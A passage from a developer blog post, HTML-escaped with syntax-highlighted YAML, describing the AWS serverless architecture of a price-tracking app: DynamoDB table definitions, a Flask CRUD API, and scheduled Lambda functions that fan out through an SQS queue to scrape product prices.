&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        AttributeType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;S&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;productUrl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        AttributeType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;S&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;email&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        AttributeType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;S&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    KeySchema&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;bargainId&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        KeyType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;HASH&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    GlobalSecondaryIndexes&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;IndexName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;emailIndex&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        KeySchema&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;email&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            KeyType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;HASH&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        ProvisionedThroughput&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ReadCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          WriteCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        Projection&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ProjectionType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;ALL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;IndexName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;productUrlIndex&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        KeySchema&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;productUrl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            KeyType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;HASH&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        ProvisionedThroughput&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ReadCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          WriteCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        Projection&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ProjectionType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;ALL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;SubscriptionsDynamoDBTable&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  Type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;AWS::DynamoDB::Table&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  Properties&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    TableName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;${self:custom.subscriptionsTableName}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    ProvisionedThroughput&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      ReadCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      WriteCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    AttributeDefinitions&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;email&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        AttributeType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;S&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    KeySchema&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;email&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        KeyType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;HASH&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;ProductsDynamoDBTable&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  Type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;AWS::DynamoDB::Table&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  Properties&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    TableName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;${self:custom.productsTableName}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    ProvisionedThroughput&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      ReadCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      WriteCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    AttributeDefinitions&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;productUrl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        AttributeType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;S&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    KeySchema&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;productUrl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        KeyType&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;HASH&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;the-flask-api&quot;&gt;The Flask API&lt;/h3&gt;
&lt;p&gt;The Flask web-app is pretty standard, mostly consisting of CRUD operations using the &lt;a href=&quot;https://aws.amazon.com/sdk-for-python/&quot;&gt;&lt;code&gt;boto3&lt;/code&gt;&lt;/a&gt; library. Like I said at the start, I’m not going to go into details and explain the code here, I want to keep this article design and architecture oriented only. But if you’re interested you can always go to the Github repo &lt;a href=&quot;https://github.com/SkullTech/bargain&quot;&gt;here&lt;/a&gt; and take a look at the code. Also, I explained the serverless plugins I’m using for Lambda and DynamoDB deployment in &lt;a href=&quot;https://sumit-ghosh.com/posts/serverless-url-shortner-lambda-s3-cloudfront/#serverless-backend-using-lambda-and-dynamodb&quot;&gt;this article&lt;/a&gt;, feel free to check that out as I’m not going to reiterate that here.&lt;/p&gt;
&lt;h3 id=&quot;the-cron-functions&quot;&gt;The Cron Functions&lt;/h3&gt;
&lt;p&gt;We’ll need a &lt;em&gt;cron&lt;/em&gt; function system—and by cron I don’t mean the literal Unix utility, in this article, by “cron function” I’m referring to Lambda functions that are run periodically. We’ll need such a system to update the prices of all the products that are being tracked, and send notifications to the users accordingly. Like we discussed, the straightforward way of doing it is going to hit scaling issues very quickly, so we’ll have to make it more robust than that. Specifically, we need to take care of the second scaling issue I mentioned&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Once the number of &lt;code&gt;bargain&lt;/code&gt;s is large enough, the Lambda function will take a long time to complete, and the limit for Lambda execution time is 15 minutes, so we’re quickly going to hit a wall.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To solve this, I went with a decoupled microservices architecture, consisting of two Lambda function and an SQS queue. The first function, &lt;code&gt;enqueue-tasks&lt;/code&gt;, goes through the products table, and for every product it pushes a message into the SQS queue containing the product details. And this &lt;code&gt;enqueue-tasks&lt;/code&gt; function is set to run periodically, like a cron job.&lt;/p&gt;
&lt;p&gt;The second function, &lt;code&gt;handle-task&lt;/code&gt;, has the SQS queue as its event source. So whenever a new message comes into the queue, an instance of the function gets triggered with the message as its input. This function is doing the bulk of the labour, it’s scraping prices for a product and sending notifications to all the users who are tracking that product.&lt;/p&gt;
&lt;p&gt;As you can imagine, this architecture will be able to scale to very large numbers. The &lt;code&gt;handle-task&lt;/code&gt; function instances are being run concurrently, and each instance is scraping only one product. So their individual execution time, as well as total execution time, should be small.&lt;/p&gt;
&lt;p&gt;Just for reference, this is how the &lt;code&gt;functions&lt;/code&gt; section of my final &lt;code&gt;serverless.yml&lt;/code&gt; looks&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;functions&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  app&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    handler&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;wsgi_handler.handler&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    events&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;http&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          path&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          method&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;ANY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          cors&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;http&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          path&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;{proxy+}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          method&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;ANY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          cors&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    memorySize&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;256&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  enqueue-tasks&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    handler&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;app.enqueue_tasks&lt;/span&gt;&lt;/span&gt;
